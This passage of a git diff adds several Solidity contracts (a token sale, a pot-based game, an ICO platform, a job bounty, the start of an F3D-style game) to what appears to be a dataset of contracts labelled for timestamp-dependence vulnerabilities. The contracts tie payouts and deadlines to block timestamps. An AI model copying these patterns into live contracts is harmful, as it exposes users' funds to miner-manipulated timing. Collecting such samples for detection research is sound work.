maxEthRaised = 9000; + + + + + uint public maxWeiRaised = maxEthRaised.mul(1000000000000000000); + + + + uint public openingTime = 1535990400; + uint public closingTime = openingTime.add(7 days); + + + + uint public rate = 1000000000000000; + + + uint public minSpend = 100000000000000000; + uint public maxSpend = 100000000000000000000; + + + + modifier onlyAdmin { + require(msg.sender == admin + ); + _; + } + + + event Deployed(string, uint); + event SalePaused(string, uint); + event SaleResumed(string, uint); + event TokensBurned(string, uint); + + + + + + + + constructor() public { + + admin = msg.sender; + thisContractAddress = address(this); + + token = EthertoteToken(tokenContractAddress); + + + require(ethRaisedAddress != address(0)); + require(tokenContractAddress != address(0)); + require(tokenBurnAddress != address(0)); + + preIcoPhaseCountdown = openingTime; + icoPhaseCountdown = closingTime; + + + + postIcoPhaseCountdown = closingTime.add(14 days); + + emit Deployed("Ethertote Token Sale contract deployed", now); + } + + + + + function tokenSaleTokenBalance() public view returns(uint) { + return token.balanceOf(thisContractAddress); + } + + + function getAnyAddressTokenBalance(address _address) public view returns(uint) { + return token.balanceOf(_address); + } + + + function tokenSaleHasFinished() public view returns (bool) { + return now > closingTime; + } + + + + function burnUnsoldTokens() public { + require(tokenSaleIsPaused == false); + require(tokenSaleHasFinished() == true); + token.transfer(tokenBurnAddress, tokenSaleTokenBalance()); + emit TokensBurned("tokens sent to TokenBurn contract", now); + } + + + + + function pauseTokenSale() onlyAdmin public { + + require(tokenSaleHasFinished() == false); + + + require(tokenSaleIsPaused == false); + + + tokenSaleIsPaused = true; + tokenSalePausedTime = now; + emit SalePaused("token sale has been paused", now); + } + + + function resumeTokenSale() onlyAdmin public { + + + require(tokenSaleIsPaused == true); + + tokenSaleResumedTime = now; + + + + + + + + + + tokenSalePausedDuration = tokenSaleResumedTime.sub(tokenSalePausedTime); + + + + closingTime = closingTime.add(tokenSalePausedDuration); + + + postIcoPhaseCountdown = closingTime.add(14 days); + + tokenSaleIsPaused = false; + emit SaleResumed("token sale has now resumed", now); + } + + + + + + + + + + event TokenPurchase( + address indexed purchaser, + address indexed beneficiary, + uint256 value, + uint256 amount + ); + + + + + + + + + + + + + + + function () external payable { + buyTokens(msg.sender); + } + + + + + + + function buyTokens(address buyer) public payable { + + + require(openingTime <= block.timestamp); + require(block.timestamp < closingTime); + + + require(msg.value >= minSpend); + + + + require(msg.value <= maxSpend); + + + require(tokenSaleTokenBalance() > 0); + + + require(tokenSaleIsPaused == false); + + + uint256 weiAmount = msg.value; + preValidatePurchase(buyer, weiAmount); + + + uint256 tokens = getTokenAmount(weiAmount); + + + + require(tokens <= tokenSaleTokenBalance()); + + + weiRaised = weiRaised.add(weiAmount); + + processPurchase(buyer, tokens); + emit TokenPurchase( + msg.sender, + buyer, + weiAmount, + tokens + ); + + updatePurchasingState(buyer, weiAmount); + + forwardFunds(); + postValidatePurchase(buyer, weiAmount); + } + + + + + + + + + function preValidatePurchase( + address buyer, + uint256 weiAmount + ) + internal pure + { + require(buyer != address(0)); + require(weiAmount != 0); + } + + + + + function postValidatePurchase( + address, + uint256 + ) + internal pure + { + + } + + + + + function deliverTokens( + address buyer, + uint256 tokenAmount + ) + internal + { + token.transfer(buyer, tokenAmount); + } + + + + + + function processPurchase( + address buyer, + uint256 tokenAmount + ) + internal + { + deliverTokens(buyer, tokenAmount); + } + + + + + + function updatePurchasingState( + address, + uint256 + ) + internal pure + { + + } + + + + + + + function getTokenAmount(uint256 weiAmount) + internal view returns (uint256) + { + return weiAmount.div(rate); + } + + + + + + function forwardFunds() internal { + ethRaisedAddress.transfer(msg.value); + } + + + + + function maximumRaised() public view returns(uint) { + return maxWeiRaised; + } + + function amountRaised() public view returns(uint) { + return weiRaised; + } + + function timeComplete() public view returns(uint) { + return closingTime; + } + + + function delayOpeningTime(uint256 _openingTime) onlyAdmin public { + openingTime = _openingTime; + closingTime = openingTime.add(7 days); + preIcoPhaseCountdown = openingTime; + icoPhaseCountdown = closingTime; + postIcoPhaseCountdown = closingTime.add(14 days); + } + + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/1704.sol b/smart_contract_dataset/timestamp dependency/1704.sol new file mode 100644 index 0000000000000000000000000000000000000000..089cf796dae5de47795871ce5dd45d3cac4feb6e --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/1704.sol @@ -0,0 +1,545 @@ + +pragma solidity ^0.4.24; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +library SafeMath { + function mul(uint a, uint b) internal pure returns (uint c) { + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + function div(uint a, uint b) internal pure returns (uint) { + return a / b; + } + + function mod(uint a, uint b) internal pure returns (uint) { + return a % b; + } + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + function add(uint a, uint b) internal pure returns (uint c) { + c = a + b; + assert(c >= a); + return c; + } +} + + +contract Dividends { + using SafeMath for *; + + uint private constant FIXED_POINT = 1000000000000000000; + + struct Scheme { + uint value; + uint shares; + uint mask; + } + + struct Vault { + uint value; + uint shares; + uint mask; + } + + mapping (uint => mapping (address => Vault)) private vaultOfAddress; + mapping (uint => Scheme) private schemeOfId; + + function buyShares (uint _schemeId, address _owner, uint _shares, uint _value) internal { + require(_owner != address(0)); + require(_shares > 0 && _value > 0); + + uint value = _value.mul(FIXED_POINT); + + Scheme storage scheme = schemeOfId[_schemeId]; + + scheme.value = scheme.value.add(_value); + scheme.shares = scheme.shares.add(_shares); + + require(value > scheme.shares); + + uint pps = value.div(scheme.shares); + + Vault storage vault = vaultOfAddress[_schemeId][_owner]; + + vault.shares = vault.shares.add(_shares); + vault.mask = vault.mask.add(scheme.mask.mul(_shares)); + vault.value = vault.value.add(value.sub(pps.mul(scheme.shares))); + + scheme.mask = scheme.mask.add(pps); + } + + function flushVault (uint _schemeId, address _owner) internal { + uint gains = gainsOfVault(_schemeId, _owner); + if (gains > 0) { + Vault storage vault = vaultOfAddress[_schemeId][_owner]; + vault.value = vault.value.add(gains); + vault.mask = vault.mask.add(gains); + } + } + + function withdrawVault (uint _schemeId, address _owner) internal returns (uint) { + flushVault(_schemeId, _owner); + + Vault storage vault = vaultOfAddress[_schemeId][_owner]; + uint payout = vault.value.div(FIXED_POINT); + + if (payout > 0) { + vault.value = 0; + } + + return payout; + } + + function creditVault (uint _schemeId, address _owner, uint _value) internal { + Vault storage vault = vaultOfAddress[_schemeId][_owner]; + vault.value = vault.value.add(_value.mul(FIXED_POINT)); + } + + function gainsOfVault (uint _schemeId, address _owner) internal view returns (uint) { + Scheme storage scheme = schemeOfId[_schemeId]; + Vault storage vault = vaultOfAddress[_schemeId][_owner]; + + if (vault.shares == 0) { + return 0; + } + + return scheme.mask.mul(vault.shares).sub(vault.mask); + } + + function valueOfVault (uint _schemeId, address _owner) internal view returns (uint) { + Vault storage vault = vaultOfAddress[_schemeId][_owner]; + return vault.value; + } + + function balanceOfVault (uint _schemeId, address _owner) internal view returns (uint) { + Vault storage vault = vaultOfAddress[_schemeId][_owner]; + + uint total = vault.value.add(gainsOfVault(_schemeId, _owner)); + uint balance = total.div(FIXED_POINT); + + return balance; + } + + function sharesOfVault (uint _schemeId, address _owner) internal view returns (uint) { + Vault storage vault = vaultOfAddress[_schemeId][_owner]; + return vault.shares; + } + + function valueOfScheme (uint _schemeId) internal view returns (uint) { + return schemeOfId[_schemeId].value; + } + + function sharesOfScheme (uint _schemeId) internal view returns (uint) { + return schemeOfId[_schemeId].shares; + } +} + + +library Utils { + using SafeMath for uint; + + uint private constant LAST_COUNTRY = 195; + + function regularTicketPrice () internal pure returns (uint) { + return 100000000000000; + } + + function goldenTicketPrice (uint _x) internal pure returns (uint) { + uint price = _x.mul(_x).div(2168819140000000000000000).add(100000000000000).add(_x.div(100000)); + return price < regularTicketPrice() ? regularTicketPrice() : price; + } + + function ticketsForWithExcess (uint _value) internal pure returns (uint, uint) { + uint tickets = _value.div(regularTicketPrice()); + uint excess = _value.sub(tickets.mul(regularTicketPrice())); + return (tickets, excess); + } + + function percentageOf (uint _value, uint _p) internal pure returns (uint) { + return _value.mul(_p).div(100); + } + + function validReferralCode (string _code) internal pure returns (bool) { + bytes memory b = bytes(_code); + + if (b.length < 3) { + return false; + } + + for (uint i = 0; i < b.length; i++) { + bytes1 c = b[i]; + if ( + !(c >= 0x30 && c <= 0x39) && + !(c >= 0x41 && c <= 0x5A) && + !(c >= 0x61 && c <= 0x7A) && + !(c == 0x2D) + ) { + return false; + } + } + + return true; + } + + function validNick (string _nick) internal pure returns (bool) { + return bytes(_nick).length > 3; + } + + function validCountryId (uint _countryId) internal pure returns (bool) { + return _countryId > 0 && _countryId <= LAST_COUNTRY; + } +} + + +contract Events { + event Started ( + uint _time + ); + + event Bought ( + address indexed _player, + address indexed _referral, + uint _countryId, + uint _tickets, + uint _value, + uint _excess + ); + + event Promoted ( + address indexed _player, + uint _goldenTickets, + uint _endTime + ); + + event Withdrew ( + address indexed _player, + uint _amount + ); + + event Registered ( + string _code, address indexed _referral + ); + + event Won ( + address indexed _winner, uint _pot + ); +} + + +contract Constants { + uint internal constant MAIN_SCHEME = 1337; + uint internal constant DEFAULT_COUNTRY = 1; + + uint internal constant SET_NICK_FEE = 0.01 ether; + uint internal constant REFERRAL_REGISTRATION_FEE = 0.01 ether; + + uint internal constant TO_DIVIDENDS = 42; + uint internal constant TO_REFERRAL = 10; + uint internal constant TO_DEVELOPERS = 4; + uint internal constant TO_COUNTRY = 12; +} + + +contract State is Constants { + address internal addressOfOwner; + + uint internal maxTime = 0; + uint internal addedTime = 0; + + uint internal totalPot = 0; + uint internal startTime = 0; + uint internal endTime = 0; + bool internal potWithdrawn = false; + address internal addressOfCaptain; + + struct Info { + address referral; + uint countryId; + uint withdrawn; + string nick; + } + + mapping (address => Info) internal infoOfAddress; + mapping (address => string[]) internal codesOfAddress; + mapping (string => address) internal addressOfCode; + + modifier restricted () { + require(msg.sender == addressOfOwner); + _; + } + + modifier active () { + require(startTime > 0); + require(block.timestamp < endTime); + require(!potWithdrawn); + _; + } + + modifier player () { + require(infoOfAddress[msg.sender].countryId > 0); + _; + } +} + + +contract Core is Events, State, Dividends {} + + +contract ExternalView is Core { + function totalInfo () external view returns (bool, bool, address, uint, uint, uint, uint, uint, uint, address) { + return ( + startTime > 0, + block.timestamp >= endTime, + addressOfCaptain, + totalPot, + endTime, + sharesOfScheme(MAIN_SCHEME), + valueOfScheme(MAIN_SCHEME), + maxTime, + addedTime, + addressOfOwner + ); + } + + function countryInfo (uint _countryId) external view returns (uint, uint) { + return ( + sharesOfScheme(_countryId), + valueOfScheme(_countryId) + ); + } + + function playerInfo (address _player) external view returns (uint, uint, uint, address, uint, uint, string) { + Info storage info = infoOfAddress[_player]; + return ( + sharesOfVault(MAIN_SCHEME, _player), + balanceOfVault(MAIN_SCHEME, _player), + balanceOfVault(info.countryId, _player), + info.referral, + info.countryId, + info.withdrawn, + info.nick + ); + } + + function numberOfReferralCodes (address _player) external view returns (uint) { + return codesOfAddress[_player].length; + } + + function referralCodeAt (address _player, uint i) external view returns (string) { + return codesOfAddress[_player][i]; + } + + function codeToAddress (string _code) external view returns (address) { + return addressOfCode[_code]; + } + + function goldenTicketPrice (uint _x) external pure returns (uint) { + return Utils.goldenTicketPrice(_x); + } +} + + +contract Internal is Core { + function _registerReferral (string _code, address _referral) internal { + require(Utils.validReferralCode(_code)); + require(addressOfCode[_code] == address(0)); + + addressOfCode[_code] = _referral; + codesOfAddress[_referral].push(_code); + + emit Registered(_code, _referral); + } +} + + +contract WinnerWinner is Core, Internal, ExternalView { + using SafeMath for *; + + constructor () public { + addressOfOwner = msg.sender; + } + + function () public payable { + buy(addressOfOwner, DEFAULT_COUNTRY); + } + + function start (uint _maxTime, uint _addedTime) public restricted { + require(startTime == 0); + require(_maxTime > 0 && _addedTime > 0); + require(_maxTime > _addedTime); + + maxTime = _maxTime; + addedTime = _addedTime; + + startTime = block.timestamp; + endTime = startTime + maxTime; + addressOfCaptain = addressOfOwner; + + _registerReferral("owner", addressOfOwner); + + emit Started(startTime); + } + + function buy (address _referral, uint _countryId) public payable active { + require(msg.value >= Utils.regularTicketPrice()); + require(msg.value <= 100000 ether); + require(codesOfAddress[_referral].length > 0); + require(_countryId != MAIN_SCHEME); + require(Utils.validCountryId(_countryId)); + + (uint tickets, uint excess) = Utils.ticketsForWithExcess(msg.value); + uint value = msg.value.sub(excess); + + require(tickets > 0); + require(value.add(excess) == msg.value); + + Info storage info = infoOfAddress[msg.sender]; + + if (info.countryId == 0) { + info.referral = _referral; + info.countryId = _countryId; + } + + uint vdivs = Utils.percentageOf(value, TO_DIVIDENDS); + uint vreferral = Utils.percentageOf(value, TO_REFERRAL); + uint vdevs = Utils.percentageOf(value, TO_DEVELOPERS); + uint vcountry = Utils.percentageOf(value, TO_COUNTRY); + uint vpot = value.sub(vdivs).sub(vreferral).sub(vdevs).sub(vcountry); + + assert(vdivs.add(vreferral).add(vdevs).add(vcountry).add(vpot) == value); + + buyShares(MAIN_SCHEME, msg.sender, tickets, vdivs); + buyShares(info.countryId, msg.sender, tickets, vcountry); + + creditVault(MAIN_SCHEME, info.referral, vreferral); + creditVault(MAIN_SCHEME, addressOfOwner, vdevs); + + if (excess > 0) { + creditVault(MAIN_SCHEME, msg.sender, excess); + } + + uint goldenTickets = value.div(Utils.goldenTicketPrice(totalPot)); + if (goldenTickets > 0) { + endTime = endTime.add(goldenTickets.mul(addedTime)) > block.timestamp.add(maxTime) ? + block.timestamp.add(maxTime) : endTime.add(goldenTickets.mul(addedTime)); + addressOfCaptain = msg.sender; + emit Promoted(addressOfCaptain, goldenTickets, endTime); + } + + totalPot = totalPot.add(vpot); + + emit Bought(msg.sender, info.referral, info.countryId, tickets, value, excess); + } + + function setNick (string _nick) public payable { + require(msg.value == SET_NICK_FEE); + require(Utils.validNick(_nick)); + infoOfAddress[msg.sender].nick = _nick; + creditVault(MAIN_SCHEME, addressOfOwner, msg.value); + } + + function registerCode (string _code) public payable { + require(startTime > 0); + require(msg.value == REFERRAL_REGISTRATION_FEE); + _registerReferral(_code, msg.sender); + creditVault(MAIN_SCHEME, addressOfOwner, msg.value); + } + + function giftCode (string _code, address _referral) public restricted { + _registerReferral(_code, _referral); + } + + function withdraw () public { + Info storage info = infoOfAddress[msg.sender]; + uint payout = withdrawVault(MAIN_SCHEME, msg.sender); + + if (Utils.validCountryId(info.countryId)) { + payout = payout.add(withdrawVault(info.countryId, msg.sender)); + } + + if (payout > 0) { + info.withdrawn = info.withdrawn.add(payout); + msg.sender.transfer(payout); + emit Withdrew(msg.sender, payout); + } + } + + function withdrawPot () public player { + require(startTime > 0); + require(block.timestamp > (endTime + 10 minutes)); + require(!potWithdrawn); + require(totalPot > 0); + require(addressOfCaptain == msg.sender); + + uint payout = totalPot; + totalPot = 0; + potWithdrawn = true; + addressOfCaptain.transfer(payout); + emit Won(msg.sender, payout); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/176.sol b/smart_contract_dataset/timestamp dependency/176.sol new file mode 100644 index 0000000000000000000000000000000000000000..a1da652474a3c9292d65d9b6176cd62a3e359108 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/176.sol @@ -0,0 +1,576 @@ +pragma solidity ^0.4.24; + + + +contract ERC20 { + function totalSupply() public view returns (uint256); + + function balanceOf(address _who) public view returns (uint256); + + function allowance(address _owner, address _spender) + public view returns (uint256); + + function transfer(address _to, uint256 _value) public returns (bool); + + function approve(address _spender, uint256 _value) + public returns (bool); + + function transferFrom(address _from, address _to, uint256 _value) + public returns (bool); + + event Transfer( + address indexed from, + address indexed to, + uint256 value + ); + + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + +library SafeMath { + + + function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { + + + + if (_a == 0) { + return 0; + } + + uint256 c = _a * _b; + require(c / _a == _b); + + return c; + } + + + function div(uint256 _a, uint256 _b) internal pure returns (uint256) { + require(_b > 0); + uint256 c = _a / _b; + + + return c; + } + + + function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { + require(_b <= _a); + uint256 c = _a - _b; + + return c; + } + + + function add(uint256 _a, uint256 _b) internal pure returns (uint256) { + uint256 c = _a + _b; + require(c >= _a); + + return c; + } + + + function mod(uint256 a, uint256 b) internal pure returns (uint256) { + require(b != 0); + return a % b; + } +} + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + +contract IcoRocketFuel is Ownable { + + using SafeMath for uint256; + + + enum States {Active, Refunding, Closed} + + struct Crowdsale { + address owner; + address refundWallet; + uint256 cap; + uint256 goal; + uint256 raised; + uint256 rate; + uint256 minInvest; + uint256 closingTime; + bool earlyClosure; + uint8 commission; + States state; + } + + + address public commissionWallet; + + + + mapping(address => Crowdsale) public crowdsales; + + + + + mapping (address => mapping(address => uint256)) public deposits; + + modifier onlyCrowdsaleOwner(address _token) { + require( + msg.sender == crowdsales[_token].owner, + "Failed to call function due to permission denied." + ); + _; + } + + modifier inState(address _token, States _state) { + require( + crowdsales[_token].state == _state, + "Failed to call function due to crowdsale is not in right state." + ); + _; + } + + modifier nonZeroAddress(address _token) { + require( + _token != address(0), + "Failed to call function due to address is 0x0." + ); + _; + } + + event CommissionWalletUpdated( + address indexed _previoudWallet, + address indexed _newWallet + ); + + event CrowdsaleCreated( + address indexed _owner, + address indexed _token, + address _refundWallet, + uint256 _cap, + uint256 _goal, + uint256 _rate, + uint256 closingTime, + bool earlyClosure, + uint8 _commission + ); + + event TokenBought( + address indexed _buyer, + address indexed _token, + uint256 _value + ); + + event CrowdsaleClosed( + address indexed _setter, + address indexed _token + ); + + event SurplusTokensRefunded( + address _token, + address _beneficiary, + uint256 _surplus + ); + + event CommissionPaid( + address indexed _payer, + address indexed _token, + address indexed _beneficiary, + uint256 _value + ); + + event RefundsEnabled( + address indexed _setter, + address indexed _token + ); + + event CrowdsaleTokensRefunded( + address indexed _token, + address indexed _refundWallet, + uint256 _value + ); + + event RaisedWeiClaimed( + address indexed _beneficiary, + address indexed _token, + uint256 _value + ); + + event TokenClaimed( + address indexed _beneficiary, + address indexed _token, + uint256 _value + ); + + event CrowdsalePaused( + address indexed _owner, + address indexed _token + ); + + event WeiRefunded( + address indexed _beneficiary, + address indexed _token, + uint256 _value + ); + + + + + + function setCommissionWallet( + address _newWallet + ) + external + onlyOwner + nonZeroAddress(_newWallet) + { + emit CommissionWalletUpdated(commissionWallet, _newWallet); + commissionWallet = _newWallet; + } + + + function createCrowdsale( + address _token, + address _refundWallet, + uint256 _cap, + uint256 _goal, + uint256 _rate, + uint256 _minInvest, + uint256 _closingTime, + bool _earlyClosure, + uint8 _commission + ) + external + nonZeroAddress(_token) + nonZeroAddress(_refundWallet) + { + require( + crowdsales[_token].owner == address(0), + "Failed to create crowdsale due to the crowdsale is existed." + ); + + require( + _goal <= _cap, + "Failed to create crowdsale due to goal is larger than cap." + ); + + require( + _minInvest > 0, + "Failed to create crowdsale due to minimum investment is 0." + ); + + require( + _commission <= 100, + "Failed to create crowdsale due to commission is larger than 100." + ); + + + _cap.mul(_rate); + + crowdsales[_token] = Crowdsale({ + owner: msg.sender, + refundWallet: _refundWallet, + cap: _cap, + goal: _goal, + raised: 0, + rate: _rate, + minInvest: _minInvest, + closingTime: _closingTime, + earlyClosure: _earlyClosure, + state: States.Active, + commission: _commission + }); + + emit CrowdsaleCreated( + msg.sender, + _token, + _refundWallet, + _cap, + _goal, + _rate, + _closingTime, + _earlyClosure, + _commission + ); + } + + + function buyToken( + address _token + ) + external + inState(_token, States.Active) + nonZeroAddress(_token) + payable + { + require( + msg.value >= crowdsales[_token].minInvest, + "Failed to buy token due to less than minimum investment." + ); + + require( + crowdsales[_token].raised.add(msg.value) <= ( + crowdsales[_token].cap + ), + "Failed to buy token due to exceed cap." + ); + + require( + + block.timestamp < crowdsales[_token].closingTime, + "Failed to buy token due to crowdsale is closed." + ); + + deposits[msg.sender][_token] = ( + deposits[msg.sender][_token].add(msg.value) + ); + crowdsales[_token].raised = crowdsales[_token].raised.add(msg.value); + emit TokenBought(msg.sender, _token, msg.value); + } + + + function _goalReached( + ERC20 _token + ) + private + nonZeroAddress(_token) + view + returns(bool) + { + return (crowdsales[_token].raised >= crowdsales[_token].goal) && ( + _token.balanceOf(address(this)) >= + crowdsales[_token].raised.mul(crowdsales[_token].rate) + ); + } + + + function _refundSurplusTokens( + ERC20 _token, + address _beneficiary + ) + private + nonZeroAddress(_token) + inState(_token, States.Closed) + { + uint256 _balance = _token.balanceOf(address(this)); + uint256 _surplus = _balance.sub( + crowdsales[_token].raised.mul(crowdsales[_token].rate)); + emit SurplusTokensRefunded(_token, _beneficiary, _surplus); + + if (_surplus > 0) { + + _token.transfer(_beneficiary, _surplus); + } + } + + + function _payCommission( + address _token + ) + private + nonZeroAddress(_token) + inState(_token, States.Closed) + onlyCrowdsaleOwner(_token) + { + + uint256 _commission = crowdsales[_token].raised + .mul(uint256(crowdsales[_token].commission)) + .div(100); + crowdsales[_token].raised = crowdsales[_token].raised.sub(_commission); + emit CommissionPaid(msg.sender, _token, commissionWallet, _commission); + commissionWallet.transfer(_commission); + } + + + function _refundCrowdsaleTokens( + ERC20 _token, + address _beneficiary + ) + private + nonZeroAddress(_token) + inState(_token, States.Refunding) + { + + + + + crowdsales[_token].raised = 0; + + uint256 _value = _token.balanceOf(address(this)); + emit CrowdsaleTokensRefunded(_token, _beneficiary, _value); + + if (_value > 0) { + + _token.transfer(_beneficiary, _token.balanceOf(address(this))); + } + } + + + function _enableRefunds( + address _token + ) + private + nonZeroAddress(_token) + inState(_token, States.Active) + { + + crowdsales[_token].state = States.Refunding; + emit RefundsEnabled(msg.sender, _token); + } + + + function finalize( + address _token + ) + external + nonZeroAddress(_token) + inState(_token, States.Active) + onlyCrowdsaleOwner(_token) + { + require( + crowdsales[_token].earlyClosure || ( + + block.timestamp >= crowdsales[_token].closingTime), + "Failed to finalize due to crowdsale is opening." + ); + + if (_goalReached(ERC20(_token))) { + + crowdsales[_token].state = States.Closed; + emit CrowdsaleClosed(msg.sender, _token); + _refundSurplusTokens( + ERC20(_token), + crowdsales[_token].refundWallet + ); + _payCommission(_token); + } else { + _enableRefunds(_token); + _refundCrowdsaleTokens( + ERC20(_token), + crowdsales[_token].refundWallet + ); + } + } + + + function pauseCrowdsale( + address _token + ) + external + nonZeroAddress(_token) + onlyOwner + inState(_token, States.Active) + { + emit CrowdsalePaused(msg.sender, _token); + _enableRefunds(_token); + _refundCrowdsaleTokens(ERC20(_token), crowdsales[_token].refundWallet); + } + + + function claimRaisedWei( + address _token, + address _beneficiary + ) + external + nonZeroAddress(_token) + nonZeroAddress(_beneficiary) + inState(_token, States.Closed) + onlyCrowdsaleOwner(_token) + { + require( + crowdsales[_token].raised > 0, + "Failed to claim raised Wei due to raised Wei is 0." + ); + + uint256 _raisedWei = crowdsales[_token].raised; + crowdsales[_token].raised = 0; + emit RaisedWeiClaimed(msg.sender, _token, _raisedWei); + _beneficiary.transfer(_raisedWei); + } + + + function claimToken( + address _token + ) + external + nonZeroAddress(_token) + inState(_token, States.Closed) + { + require( + deposits[msg.sender][_token] > 0, + "Failed to claim token due to deposit is 0." + ); + + + uint256 _value = ( + deposits[msg.sender][_token].mul(crowdsales[_token].rate) + ); + deposits[msg.sender][_token] = 0; + emit TokenClaimed(msg.sender, _token, _value); + ERC20(_token).transfer(msg.sender, _value); + } + + + function claimRefund( + address _token + ) + public + nonZeroAddress(_token) + inState(_token, States.Refunding) + { + require( + deposits[msg.sender][_token] > 0, + "Failed to claim refund due to deposit is 0." + ); + + uint256 _value = deposits[msg.sender][_token]; + deposits[msg.sender][_token] = 0; + emit WeiRefunded(msg.sender, _token, _value); + msg.sender.transfer(_value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/1826.sol b/smart_contract_dataset/timestamp dependency/1826.sol new file mode 100644 index 0000000000000000000000000000000000000000..65589a13f5279a126afe1eb25dde2500cb2e490c --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/1826.sol @@ -0,0 +1,163 @@ +pragma solidity ^0.4.24; + + +contract ReentrancyGuard { + + + bool private reentrancyLock = false; + + + modifier nonReentrant() { + require(!reentrancyLock); + reentrancyLock = true; + _; + reentrancyLock = false; + } + +} + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + +contract Ownable { + address public owner; + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +interface ERC20 { + function totalSupply() external view returns (uint supply); + function balanceOf(address _owner) external view returns (uint balance); + function transfer(address _to, uint _value) external returns (bool success); + function transferFrom(address _from, address _to, uint _value) external returns (bool success); + function approve(address _spender, uint _value) external returns (bool success); + function allowance(address _owner, address _spender) external view returns (uint remaining); + function decimals() external view returns(uint digits); + event Approval(address indexed _owner, address indexed _spender, uint _value); +} + + + +contract JobsBounty is Ownable, ReentrancyGuard { + using SafeMath for uint256; + string public companyName; + string public jobPost; + uint public endDate; + + + + + address public INDToken = 0xf8e386eda857484f5a12e4b5daa9984e06e73705; + + constructor(string _companyName, + string _jobPost, + uint _endDate + ) public{ + companyName = _companyName; + jobPost = _jobPost ; + endDate = _endDate; + } + + + function ownBalance() public view returns(uint256) { + return ERC20(INDToken).balanceOf(this); + } + + function payOutBounty(address _referrerAddress, address _candidateAddress) public onlyOwner nonReentrant returns(bool){ + uint256 individualAmounts = (ERC20(INDToken).balanceOf(this) / 100) * 50; + + assert(block.timestamp >= endDate); + + assert(ERC20(INDToken).transfer(_candidateAddress, individualAmounts)); + assert(ERC20(INDToken).transfer(_referrerAddress, individualAmounts)); + return true; + } + + + + + function withdrawERC20Token(address anyToken) public onlyOwner nonReentrant returns(bool){ + assert(block.timestamp >= endDate); + assert(ERC20(anyToken).transfer(owner, ERC20(anyToken).balanceOf(this))); + return true; + } + + + + function withdrawEther() public nonReentrant returns(bool){ + if(address(this).balance > 0){ + owner.transfer(address(this).balance); + } + return true; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/188.sol b/smart_contract_dataset/timestamp dependency/188.sol new file mode 100644 index 0000000000000000000000000000000000000000..9633e669756fec50c56dafa014f4c3eca2e46b08 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/188.sol @@ -0,0 +1,1779 @@ +pragma solidity ^0.4.24; + +contract F3Devents { + + event onNewName + ( + uint256 indexed playerID, + address indexed playerAddress, + bytes32 indexed playerName, + bool isNewPlayer, + uint256 affiliateID, + address affiliateAddress, + bytes32 affiliateName, + uint256 amountPaid, + uint256 timeStamp + ); + + + event onEndTx + ( + uint256 compressedData, + uint256 compressedIDs, + bytes32 playerName, + address playerAddress, + uint256 ethIn, + uint256 keysBought, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 P3DAmount, + uint256 genAmount, + uint256 potAmount, + uint256 airDropPot + ); + + + event onWithdraw + ( + uint256 indexed playerID, + address playerAddress, + bytes32 playerName, + uint256 ethOut, + uint256 timeStamp + ); + + + event onWithdrawAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 ethOut, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 P3DAmount, + uint256 genAmount + ); + + + + event onBuyAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 ethIn, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 P3DAmount, + uint256 genAmount + ); + + + + event onReLoadAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 P3DAmount, + uint256 genAmount + ); + + + event onAffiliatePayout + ( + uint256 indexed affiliateID, + address affiliateAddress, + bytes32 affiliateName, + uint256 indexed roundID, + uint256 indexed buyerID, + uint256 amount, + uint256 timeStamp + ); + + + event onPotSwapDeposit + ( + uint256 roundID, + uint256 amountAddedToPot + ); + + + event onEndRound + ( + uint256 roundID, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot + ); +} + + + + + + +contract modularShort is F3Devents {} + +contract Duang8 is modularShort { + using SafeMath for *; + using NameFilter for string; + using 